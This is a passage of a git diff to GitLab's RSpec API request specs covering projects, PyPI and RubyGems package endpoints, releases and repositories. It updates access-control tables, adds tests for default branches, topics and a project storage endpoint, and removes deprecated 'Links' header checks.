@@ -41,7 +41,7 @@ RSpec.describe API::ProjectStatistics do
expect(fetches['days'].last).to eq({ 'count' => fetch_statistics1.fetch_count, 'date' => fetch_statistics1.date.to_s })
end
- it 'responds with 403 when the user is not a developer of the repository' do
+ it 'responds with 403 when the user is not a reporter of the repository' do
guest = create(:user)
public_project.add_guest(guest)
diff --git a/spec/requests/api/projects_spec.rb b/spec/requests/api/projects_spec.rb
index 7f804186bc7..e7e26c34a83 100644
--- a/spec/requests/api/projects_spec.rb
+++ b/spec/requests/api/projects_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe API::Projects do
let_it_be(:user2) { create(:user) }
let_it_be(:user3) { create(:user) }
let_it_be(:admin) { create(:admin) }
- let_it_be(:project, reload: true) { create(:project, :repository, namespace: user.namespace) }
+ let_it_be(:project, reload: true) { create(:project, :repository, create_branch: 'something_else', namespace: user.namespace) }
let_it_be(:project2, reload: true) { create(:project, namespace: user.namespace) }
let_it_be(:project_member) { create(:project_member, :developer, user: user3, project: project) }
let_it_be(:user4) { create(:user, username: 'user.with.dot') }
@@ -109,6 +109,43 @@ RSpec.describe API::Projects do
end
end
+ shared_examples_for 'create project with default branch parameter' do
+ let(:params) { { name: 'Foo Project', initialize_with_readme: true, default_branch: default_branch } }
+ let(:default_branch) { 'main' }
+
+ it 'creates project with provided default branch name' do
+ expect { request }.to change { Project.count }.by(1)
+ expect(response).to have_gitlab_http_status(:created)
+
+ project = Project.find(json_response['id'])
+ expect(project.default_branch).to eq(default_branch)
+ end
+
+ context 'when branch name is empty' do
+ let(:default_branch) { '' }
+
+ it 'creates project with a default project branch name' do
+ expect { request }.to change { Project.count }.by(1)
+ expect(response).to have_gitlab_http_status(:created)
+
+ project = Project.find(json_response['id'])
+ expect(project.default_branch).to eq('master')
+ end
+ end
+
+ context 'when initialize with readme is not set' do
+ let(:params) { super().merge(initialize_with_readme: nil) }
+
+ it 'creates project with a default project branch name' do
+ expect { request }.to change { Project.count }.by(1)
+ expect(response).to have_gitlab_http_status(:created)
+
+ project = Project.find(json_response['id'])
+ expect(project.default_branch).to be_nil
+ end
+ end
+ end
+
describe 'GET /projects' do
shared_examples_for 'projects response' do
it 'returns an array of projects' do
@@ -184,13 +221,40 @@ RSpec.describe API::Projects do
end
end
- it 'includes the project labels as the tag_list' do
+ it 'includes correct value of container_registry_enabled', :aggregate_failures do
+ project.update_column(:container_registry_enabled, true)
+ project.project_feature.update!(container_registry_access_level: ProjectFeature::DISABLED)
+
+ get api('/projects', user)
+ project_response = json_response.find { |p| p['id'] == project.id }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ expect(project_response['container_registry_enabled']).to eq(false)
+ end
+
+ it 'reads projects.container_registry_enabled when read_container_registry_access_level is disabled' do
+ stub_feature_flags(read_container_registry_access_level: false)
+
+ project.project_feature.update!(container_registry_access_level: ProjectFeature::DISABLED)
+ project.update_column(:container_registry_enabled, true)
+
+ get api('/projects', user)
+ project_response = json_response.find { |p| p['id'] == project.id }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ expect(project_response['container_registry_enabled']).to eq(true)
+ end
+
+ it 'includes project topics' do
get api('/projects', user)
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
- expect(json_response.first.keys).to include('tag_list')
+ expect(json_response.first.keys).to include('tag_list') # deprecated in favor of 'topics'
+ expect(json_response.first.keys).to include('topics')
end
it 'includes open_issues_count' do
@@ -223,9 +287,9 @@ RSpec.describe API::Projects do
expect(json_response.find { |hash| hash['id'] == project.id }.keys).not_to include('open_issues_count')
end
- context 'filter by topic (column tag_list)' do
+ context 'filter by topic (column topic_list)' do
before do
- project.update!(tag_list: %w(ruby javascript))
+ project.update!(topic_list: %w(ruby javascript))
end
it 'returns no projects' do
@@ -742,10 +806,6 @@ RSpec.describe API::Projects do
it 'includes a pagination header with link to the next page' do
get api('/projects', current_user), params: params
- expect(response.header).to include('Links')
- expect(response.header['Links']).to include('pagination=keyset')
- expect(response.header['Links']).to include("id_after=#{first_project_id}")
-
expect(response.header).to include('Link')
expect(response.header['Link']).to include('pagination=keyset')
expect(response.header['Link']).to include("id_after=#{first_project_id}")
@@ -762,10 +822,6 @@ RSpec.describe API::Projects do
it 'still includes a link if the end has reached and there is no more data after this page' do
get api('/projects', current_user), params: params.merge(id_after: project2.id)
- expect(response.header).to include('Links')
- expect(response.header['Links']).to include('pagination=keyset')
- expect(response.header['Links']).to include("id_after=#{project3.id}")
-
expect(response.header).to include('Link')
expect(response.header['Link']).to include('pagination=keyset')
expect(response.header['Link']).to include("id_after=#{project3.id}")
@@ -774,7 +830,6 @@ RSpec.describe API::Projects do
it 'does not include a next link when the page does not have any records' do
get api('/projects', current_user), params: params.merge(id_after: Project.maximum(:id))
- expect(response.header).not_to include('Links')
expect(response.header).not_to include('Link')
end
@@ -798,10 +853,6 @@ RSpec.describe API::Projects do
it 'includes a pagination header with link to the next page' do
get api('/projects', current_user), params: params
- expect(response.header).to include('Links')
- expect(response.header['Links']).to include('pagination=keyset')
- expect(response.header['Links']).to include("id_before=#{last_project_id}")
-
expect(response.header).to include('Link')
expect(response.header['Link']).to include('pagination=keyset')
expect(response.header['Link']).to include("id_before=#{last_project_id}")
@@ -828,11 +879,6 @@ RSpec.describe API::Projects do
requests += 1
get api(url, current_user), params: params
- links = response.header['Links']
- url = links&.match(/<[^>]+(\/projects\?[^>]+)>; rel="next"/) do |match|
- match[1]
- end
-
link = response.header['Link']
url = link&.match(/<[^>]+(\/projects\?[^>]+)>; rel="next"/) do |match|
match[1]
@@ -938,6 +984,10 @@ RSpec.describe API::Projects do
expect(project.path).to eq('path-project-Foo')
end
+ it_behaves_like 'create project with default branch parameter' do
+ let(:request) { post api('/projects', user), params: params }
+ end
+
it 'creates last project before reaching project limit' do
allow_any_instance_of(User).to receive(:projects_limit_left).and_return(1)
post api('/projects', user2), params: { name: 'foo' }
@@ -1050,12 +1100,20 @@ RSpec.describe API::Projects do
expect(json_response['readme_url']).to eql("#{Gitlab.config.gitlab.url}/#{json_response['namespace']['full_path']}/somewhere/-/blob/master/README.md")
end
- it 'sets tag list to a project' do
+ it 'sets tag list to a project (deprecated)' do
project = attributes_for(:project, tag_list: %w[tagFirst tagSecond])
post api('/projects', user), params: project
- expect(json_response['tag_list']).to eq(%w[tagFirst tagSecond])
+ expect(json_response['topics']).to eq(%w[tagFirst tagSecond])
+ end
+
+ it 'sets topics to a project' do
+ project = attributes_for(:project, topics: %w[topic1 topics2])
+
+ post api('/projects', user), params: project
+
+ expect(json_response['topics']).to eq(%w[topic1 topics2])
end
it 'uploads avatar for project a project' do
@@ -1410,6 +1468,10 @@ RSpec.describe API::Projects do
expect(project.path).to eq('path-project-Foo')
end
+ it_behaves_like 'create project with default branch parameter' do
+ let(:request) { post api("/projects/user/#{user.id}", admin), params: params }
+ end
+
it 'responds with 400 on failure and not project' do
expect { post api("/projects/user/#{user.id}", admin) }
.not_to change { Project.count }
@@ -1910,7 +1972,8 @@ RSpec.describe API::Projects do
expect(json_response['id']).to eq(project.id)
expect(json_response['description']).to eq(project.description)
expect(json_response['default_branch']).to eq(project.default_branch)
- expect(json_response['tag_list']).to be_an Array
+ expect(json_response['tag_list']).to be_an Array # deprecated in favor of 'topics'
+ expect(json_response['topics']).to be_an Array
expect(json_response['archived']).to be_falsey
expect(json_response['visibility']).to be_present
expect(json_response['ssh_url_to_repo']).to be_present
@@ -1987,7 +2050,8 @@ RSpec.describe API::Projects do
expect(json_response['id']).to eq(project.id)
expect(json_response['description']).to eq(project.description)
expect(json_response['default_branch']).to eq(project.default_branch)
- expect(json_response['tag_list']).to be_an Array
+ expect(json_response['tag_list']).to be_an Array # deprecated in favor of 'topics'
+ expect(json_response['topics']).to be_an Array
expect(json_response['archived']).to be_falsey
expect(json_response['visibility']).to be_present
expect(json_response['ssh_url_to_repo']).to be_present
@@ -2043,8 +2107,10 @@ RSpec.describe API::Projects do
expect(json_response['ci_default_git_depth']).to eq(project.ci_default_git_depth)
expect(json_response['ci_forward_deployment_enabled']).to eq(project.ci_forward_deployment_enabled)
expect(json_response['merge_method']).to eq(project.merge_method.to_s)
+ expect(json_response['squash_option']).to eq(project.squash_option.to_s)
expect(json_response['readme_url']).to eq(project.readme_url)
expect(json_response).to have_key 'packages_enabled'
+ expect(json_response['keep_latest_artifact']).to be_present
end
it 'returns a group link with expiration date' do
@@ -2755,7 +2821,7 @@ RSpec.describe API::Projects do
expect(project.project_group_links).to be_empty
end
- it 'updates project authorization' do
+ it 'updates project authorization', :sidekiq_inline do
expect do
delete api("/projects/#{project.id}/share/#{group.id}", user)
end.to(
@@ -2902,6 +2968,18 @@ RSpec.describe API::Projects do
end
end
+ it 'updates default_branch' do
+ project_param = { default_branch: 'something_else' }
+
+ put api("/projects/#{project.id}", user), params: project_param
+
+ expect(response).to have_gitlab_http_status(:ok)
+
+ project_param.each_pair do |k, v|
+ expect(json_response[k.to_s]).to eq(v)
+ end
+ end
+
it 'updates jobs_enabled' do
project_param = { jobs_enabled: true }
@@ -3027,6 +3105,26 @@ RSpec.describe API::Projects do
expect(json_response['auto_devops_enabled']).to eq(false)
end
+
+ it 'updates topics using tag_list (deprecated)' do
+ project_param = { tag_list: 'topic1' }
+
+ put api("/projects/#{project3.id}", user), params: project_param
+
+ expect(response).to have_gitlab_http_status(:ok)
+
+ expect(json_response['topics']).to eq(%w[topic1])
+ end
+
+ it 'updates topics' do
+ project_param = { topics: 'topic2' }
+
+ put api("/projects/#{project3.id}", user), params: project_param
+
+ expect(response).to have_gitlab_http_status(:ok)
+
+ expect(json_response['topics']).to eq(%w[topic2])
+ end
end
context 'when authenticated as project maintainer' do
@@ -3203,6 +3301,24 @@ RSpec.describe API::Projects do
expect { subject }.to change { project.reload.service_desk_enabled }.to(true)
end
end
+
+ context 'when updating keep latest artifact' do
+ subject { put(api("/projects/#{project.id}", user), params: { keep_latest_artifact: true }) }
+
+ before do
+ project.update!(keep_latest_artifact: false)
+ end
+
+ it 'returns 200' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'enables keep_latest_artifact' do
+ expect { subject }.to change { project.reload.keep_latest_artifact }.to(true)
+ end
+ end
end
describe 'POST /projects/:id/archive' do
@@ -3882,6 +3998,48 @@ RSpec.describe API::Projects do
end
end
+ describe 'GET /projects/:id/storage' do
+ context 'when unauthenticated' do
+ it 'does not return project storage data' do
+ get api("/projects/#{project.id}/storage")
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ it 'returns project storage data when user is admin' do
+ get api("/projects/#{project.id}/storage", create(:admin))
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['project_id']).to eq(project.id)
+ expect(json_response['disk_path']).to eq(project.repository.disk_path)
+ expect(json_response['created_at']).to be_present
+ expect(json_response['repository_storage']).to eq(project.repository_storage)
+ end
+
+ it 'does not return project storage data when user is not admin' do
+ get api("/projects/#{project.id}/storage", user3)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ it 'responds with a 401 for unauthenticated users trying to access a non-existent project id' do
+ expect(Project.find_by(id: non_existing_record_id)).to be_nil
+
+ get api("/projects/#{non_existing_record_id}/storage")
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
+ it 'responds with a 403 for non-admin users trying to access a non-existent project id' do
+ expect(Project.find_by(id: non_existing_record_id)).to be_nil
+
+ get api("/projects/#{non_existing_record_id}/storage", user3)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
it_behaves_like 'custom attributes endpoints', 'projects' do
let(:attributable) { project }
let(:other_attributable) { project2 }
diff --git a/spec/requests/api/pypi_packages_spec.rb b/spec/requests/api/pypi_packages_spec.rb
index 718004a0087..86925e6a0ba 100644
--- a/spec/requests/api/pypi_packages_spec.rb
+++ b/spec/requests/api/pypi_packages_spec.rb
@@ -8,69 +8,59 @@ RSpec.describe API::PypiPackages do
using RSpec::Parameterized::TableSyntax
let_it_be(:user) { create(:user) }
- let_it_be(:project, reload: true) { create(:project, :public) }
+ let_it_be_with_reload(:group) { create(:group) }
+ let_it_be_with_reload(:project) { create(:project, :public, group: group) }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
- let_it_be(:job) { create(:ci_build, :running, user: user) }
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
+ let(:headers) { {} }
- describe 'GET /api/v4/projects/:id/packages/pypi/simple/:package_name' do
+ context 'simple API endpoint' do
let_it_be(:package) { create(:pypi_package, project: project) }
- let(:url) { "/projects/#{project.id}/packages/pypi/simple/#{package.name}" }
- subject { get api(url) }
+ subject { get api(url), headers: headers }
- context 'with valid project' do
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'PyPI package versions' | :success
- 'PUBLIC' | :guest | true | true | 'PyPI package versions' | :success
- 'PUBLIC' | :developer | true | false | 'PyPI package versions' | :success
- 'PUBLIC' | :guest | true | false | 'PyPI package versions' | :success
- 'PUBLIC' | :developer | false | true | 'PyPI package versions' | :success
- 'PUBLIC' | :guest | false | true | 'PyPI package versions' | :success
- 'PUBLIC' | :developer | false | false | 'PyPI package versions' | :success
- 'PUBLIC' | :guest | false | false | 'PyPI package versions' | :success
- 'PUBLIC' | :anonymous | false | true | 'PyPI package versions' | :success
- 'PRIVATE' | :developer | true | true | 'PyPI package versions' | :success
- 'PRIVATE' | :guest | true | true | 'process PyPI api request' | :forbidden
- 'PRIVATE' | :developer | true | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'process PyPI api request' | :not_found
- 'PRIVATE' | :guest | false | true | 'process PyPI api request' | :not_found
- 'PRIVATE' | :developer | false | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'process PyPI api request' | :unauthorized
- end
+ describe 'GET /api/v4/groups/:id/-/packages/pypi/simple/:package_name' do
+ let(:url) { "/groups/#{group.id}/-/packages/pypi/simple/#{package.name}" }
+ let(:snowplow_gitlab_standard_context) { {} }
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ it_behaves_like 'pypi simple API endpoint'
+ it_behaves_like 'rejects PyPI access with unknown group id'
- subject { get api(url), headers: headers }
+ context 'deploy tokens' do
+ let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: deploy_token, group: group) }
before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel::PRIVATE)
+ group.update_column(:visibility_level, Gitlab::VisibilityLevel::PRIVATE)
end
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ it_behaves_like 'deploy token for package GET requests'
end
- end
- context 'with a normalized package name' do
- let_it_be(:package) { create(:pypi_package, project: project, name: 'my.package') }
- let(:url) { "/projects/#{project.id}/packages/pypi/simple/my-package" }
- let(:headers) { basic_auth_header(user.username, personal_access_token.token) }
+ context 'job token' do
+ before do
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel::PRIVATE)
+ group.update_column(:visibility_level, Gitlab::VisibilityLevel::PRIVATE)
+ group.add_developer(user)
+ end
- subject { get api(url), headers: headers }
+ it_behaves_like 'job token for package GET requests'
+ end
- it_behaves_like 'PyPI package versions', :developer, :success
+ it_behaves_like 'a pypi user namespace endpoint'
end
- it_behaves_like 'deploy token for package GET requests'
-
- it_behaves_like 'job token for package GET requests'
+ describe 'GET /api/v4/projects/:id/packages/pypi/simple/:package_name' do
+ let(:url) { "/projects/#{project.id}/packages/pypi/simple/#{package.name}" }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
- it_behaves_like 'rejects PyPI access with unknown project id'
+ it_behaves_like 'pypi simple API endpoint'
+ it_behaves_like 'rejects PyPI access with unknown project id'
+ it_behaves_like 'deploy token for package GET requests'
+ it_behaves_like 'job token for package GET requests'
+ end
end
describe 'POST /api/v4/projects/:id/packages/pypi/authorize' do
@@ -82,25 +72,25 @@ RSpec.describe API::PypiPackages do
subject { post api(url), headers: headers }
context 'with valid project' do
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process PyPI api request' | :success
- 'PUBLIC' | :guest | true | true | 'process PyPI api request' | :forbidden
- 'PUBLIC' | :developer | true | false | 'process PyPI api request' | :unauthorized
- 'PUBLIC' | :guest | true | false | 'process PyPI api request' | :unauthorized
- 'PUBLIC' | :developer | false | true | 'process PyPI api request' | :forbidden
- 'PUBLIC' | :guest | false | true | 'process PyPI api request' | :forbidden
- 'PUBLIC' | :developer | false | false | 'process PyPI api request' | :unauthorized
- 'PUBLIC' | :guest | false | false | 'process PyPI api request' | :unauthorized
- 'PUBLIC' | :anonymous | false | true | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :developer | true | true | 'process PyPI api request' | :success
- 'PRIVATE' | :guest | true | true | 'process PyPI api request' | :forbidden
- 'PRIVATE' | :developer | true | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'process PyPI api request' | :not_found
- 'PRIVATE' | :guest | false | true | 'process PyPI api request' | :not_found
- 'PRIVATE' | :developer | false | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'process PyPI api request' | :unauthorized
+ where(:visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ :public | :developer | true | true | 'process PyPI api request' | :success
+ :public | :guest | true | true | 'process PyPI api request' | :forbidden
+ :public | :developer | true | false | 'process PyPI api request' | :unauthorized
+ :public | :guest | true | false | 'process PyPI api request' | :unauthorized
+ :public | :developer | false | true | 'process PyPI api request' | :forbidden
+ :public | :guest | false | true | 'process PyPI api request' | :forbidden
+ :public | :developer | false | false | 'process PyPI api request' | :unauthorized
+ :public | :guest | false | false | 'process PyPI api request' | :unauthorized
+ :public | :anonymous | false | true | 'process PyPI api request' | :unauthorized
+ :private | :developer | true | true | 'process PyPI api request' | :success
+ :private | :guest | true | true | 'process PyPI api request' | :forbidden
+ :private | :developer | true | false | 'process PyPI api request' | :unauthorized
+ :private | :guest | true | false | 'process PyPI api request' | :unauthorized
+ :private | :developer | false | true | 'process PyPI api request' | :not_found
+ :private | :guest | false | true | 'process PyPI api request' | :not_found
+ :private | :developer | false | false | 'process PyPI api request' | :unauthorized
+ :private | :guest | false | false | 'process PyPI api request' | :unauthorized
+ :private | :anonymous | false | true | 'process PyPI api request' | :unauthorized
end
with_them do
@@ -109,7 +99,7 @@ RSpec.describe API::PypiPackages do
let(:headers) { user_headers.merge(workhorse_headers) }
before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
end
it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
@@ -133,6 +123,7 @@ RSpec.describe API::PypiPackages do
let(:base_params) { { requires_python: requires_python, version: '1.0.0', name: 'sample-project', sha256_digest: '123' } }
let(:params) { base_params.merge(content: temp_file(file_name)) }
let(:send_rewritten_field) { true }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: user } }
subject do
workhorse_finalize(
@@ -146,25 +137,25 @@ RSpec.describe API::PypiPackages do
end
context 'with valid project' do
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'PyPI package creation' | :created
- 'PUBLIC' | :guest | true | true | 'process PyPI api request' | :forbidden
- 'PUBLIC' | :developer | true | false | 'process PyPI api request' | :unauthorized
- 'PUBLIC' | :guest | true | false | 'process PyPI api request' | :unauthorized
- 'PUBLIC' | :developer | false | true | 'process PyPI api request' | :forbidden
- 'PUBLIC' | :guest | false | true | 'process PyPI api request' | :forbidden
- 'PUBLIC' | :developer | false | false | 'process PyPI api request' | :unauthorized
- 'PUBLIC' | :guest | false | false | 'process PyPI api request' | :unauthorized
- 'PUBLIC' | :anonymous | false | true | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :developer | true | true | 'process PyPI api request' | :created
- 'PRIVATE' | :guest | true | true | 'process PyPI api request' | :forbidden
- 'PRIVATE' | :developer | true | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'process PyPI api request' | :not_found
- 'PRIVATE' | :guest | false | true | 'process PyPI api request' | :not_found
- 'PRIVATE' | :developer | false | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'process PyPI api request' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'process PyPI api request' | :unauthorized
+ where(:visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ :public | :developer | true | true | 'PyPI package creation' | :created
+ :public | :guest | true | true | 'process PyPI api request' | :forbidden
+ :public | :developer | true | false | 'process PyPI api request' | :unauthorized
+ :public | :guest | true | false | 'process PyPI api request' | :unauthorized
+ :public | :developer | false | true | 'process PyPI api request' | :forbidden
+ :public | :guest | false | true | 'process PyPI api request' | :forbidden
+ :public | :developer | false | false | 'process PyPI api request' | :unauthorized
+ :public | :guest | false | false | 'process PyPI api request' | :unauthorized
+ :public | :anonymous | false | true | 'process PyPI api request' | :unauthorized
+ :private | :developer | true | true | 'process PyPI api request' | :created
+ :private | :guest | true | true | 'process PyPI api request' | :forbidden
+ :private | :developer | true | false | 'process PyPI api request' | :unauthorized
+ :private | :guest | true | false | 'process PyPI api request' | :unauthorized
+ :private | :developer | false | true | 'process PyPI api request' | :not_found
+ :private | :guest | false | true | 'process PyPI api request' | :not_found
+ :private | :developer | false | false | 'process PyPI api request' | :unauthorized
+ :private | :guest | false | false | 'process PyPI api request' | :unauthorized
+ :private | :anonymous | false | true | 'process PyPI api request' | :unauthorized
end
with_them do
@@ -173,7 +164,7 @@ RSpec.describe API::PypiPackages do
let(:headers) { user_headers.merge(workhorse_headers) }
before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
end
it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
@@ -187,7 +178,7 @@ RSpec.describe API::PypiPackages do
let(:headers) { user_headers.merge(workhorse_headers) }
before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel::PRIVATE)
end
it_behaves_like 'process PyPI api request', :developer, :bad_request, true
@@ -225,84 +216,27 @@ RSpec.describe API::PypiPackages do
end
end
- describe 'GET /api/v4/projects/:id/packages/pypi/files/:sha256/*file_identifier' do
+ context 'file download endpoint' do
let_it_be(:package_name) { 'Dummy-Package' }
let_it_be(:package) { create(:pypi_package, project: project, name: package_name, version: '1.0.0') }
- let(:url) { "/projects/#{project.id}/packages/pypi/files/#{package.package_files.first.file_sha256}/#{package_name}-1.0.0.tar.gz" }
-
- subject { get api(url) }
-
- context 'with valid project' do
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'PyPI package download' | :success
- 'PUBLIC' | :guest | true | true | 'PyPI package download' | :success
- 'PUBLIC' | :developer | true | false | 'PyPI package download' | :success
- 'PUBLIC' | :guest | true | false | 'PyPI package download' | :success
- 'PUBLIC' | :developer | false | true | 'PyPI package download' | :success
- 'PUBLIC' | :guest | false | true | 'PyPI package download' | :success
- 'PUBLIC' | :developer | false | false | 'PyPI package download' | :success
- 'PUBLIC' | :guest | false | false | 'PyPI package download' | :success
- 'PUBLIC' | :anonymous | false | true | 'PyPI package download' | :success
- 'PRIVATE' | :developer | true | true | 'PyPI package download' | :success
- 'PRIVATE' | :guest | true | true | 'PyPI package download' | :success
- 'PRIVATE' | :developer | true | false | 'PyPI package download' | :success
- 'PRIVATE' | :guest | true | false | 'PyPI package download' | :success
- 'PRIVATE' | :developer | false | true | 'PyPI package download' | :success
- 'PRIVATE' | :guest | false | true | 'PyPI package download' | :success
- 'PRIVATE' | :developer | false | false | 'PyPI package download' | :success
- 'PRIVATE' | :guest | false | false | 'PyPI package download' | :success
- 'PRIVATE' | :anonymous | false | true | 'PyPI package download' | :success
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
-
- subject { get api(url), headers: headers }
+ subject { get api(url), headers: headers }
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- context 'with deploy token headers' do
- let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token) }
-
- context 'valid token' do
- it_behaves_like 'returning response status', :success
- end
-
- context 'invalid token' do
- let(:headers) { basic_auth_header('foo', 'bar') }
+ describe 'GET /api/v4/groups/:id/-/packages/pypi/files/:sha256/*file_identifier' do
+ let(:url) { "/groups/#{group.id}/-/packages/pypi/files/#{package.package_files.first.file_sha256}/#{package_name}-1.0.0.tar.gz" }
+ let(:snowplow_gitlab_standard_context) { {} }
- it_behaves_like 'returning response status', :success
- end
+ it_behaves_like 'pypi file download endpoint'
+ it_behaves_like 'rejects PyPI access with unknown group id'
+ it_behaves_like 'a pypi user namespace endpoint'
end
- context 'with job token headers' do
- let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, job.token) }
-
- context 'valid token' do
- it_behaves_like 'returning response status', :success
- end
-
- context 'invalid token' do
- let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, 'bar') }
-
- it_behaves_like 'returning response status', :success
- end
-
- context 'invalid user' do
- let(:headers) { basic_auth_header('foo', job.token) }
+ describe 'GET /api/v4/projects/:id/packages/pypi/files/:sha256/*file_identifier' do
+ let(:url) { "/projects/#{project.id}/packages/pypi/files/#{package.package_files.first.file_sha256}/#{package_name}-1.0.0.tar.gz" }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
- it_behaves_like 'returning response status', :success
- end
+ it_behaves_like 'pypi file download endpoint'
+ it_behaves_like 'rejects PyPI access with unknown project id'
end
-
- it_behaves_like 'rejects PyPI access with unknown project id'
end
end
diff --git a/spec/requests/api/releases_spec.rb b/spec/requests/api/releases_spec.rb
index dad3e34404b..81a4fcdbcac 100644
--- a/spec/requests/api/releases_spec.rb
+++ b/spec/requests/api/releases_spec.rb
@@ -775,7 +775,7 @@ RSpec.describe API::Releases do
end
context 'when using JOB-TOKEN auth' do
- let(:job) { create(:ci_build, user: maintainer) }
+ let(:job) { create(:ci_build, user: maintainer, project: project) }
let(:params) do
{
name: 'Another release',
diff --git a/spec/requests/api/repositories_spec.rb b/spec/requests/api/repositories_spec.rb
index a12b4dc9848..1b96efeca22 100644
--- a/spec/requests/api/repositories_spec.rb
+++ b/spec/requests/api/repositories_spec.rb
@@ -178,10 +178,12 @@ RSpec.describe API::Repositories do
expect(headers['Content-Disposition']).to eq 'inline'
end
- it_behaves_like 'uncached response' do
- before do
- get api(route, current_user)
- end
+ it 'defines an uncached header response' do
+ get api(route, current_user)
+
+ expect(response.headers["Cache-Control"]).to eq("max-age=0, private, must-revalidate, no-store, no-cache")
+ expect(response.headers["Pragma"]).to eq("no-cache")
+ expect(response.headers["Expires"]).to eq("Fri, 01 Jan 1990 00:00:00 GMT")
end
context 'when sha does not exist' do
diff --git a/spec/requests/api/rubygem_packages_spec.rb b/spec/requests/api/rubygem_packages_spec.rb
index d6ad8186063..7d863b55bbe 100644
--- a/spec/requests/api/rubygem_packages_spec.rb
+++ b/spec/requests/api/rubygem_packages_spec.rb
@@ -10,10 +10,11 @@ RSpec.describe API::RubygemPackages do
let_it_be_with_reload(:project) { create(:project) }
let_it_be(:personal_access_token) { create(:personal_access_token) }
let_it_be(:user) { personal_access_token.user }
- let_it_be(:job) { create(:ci_build, :running, user: user) }
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
let_it_be(:headers) { {} }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: user } }
let(:tokens) do
{
@@ -162,6 +163,7 @@ RSpec.describe API::RubygemPackages do
with_them do
let(:token) { valid_token ? tokens[token_type] : 'invalid-token123' }
let(:headers) { user_role == :anonymous ? {} : { 'HTTP_AUTHORIZATION' => token } }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
before do
project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility.to_s))
@@ -304,6 +306,16 @@ RSpec.describe API::RubygemPackages do
let(:token) { valid_token ? tokens[token_type] : 'invalid-token123' }
let(:user_headers) { user_role == :anonymous ? {} : { 'HTTP_AUTHORIZATION' => token } }
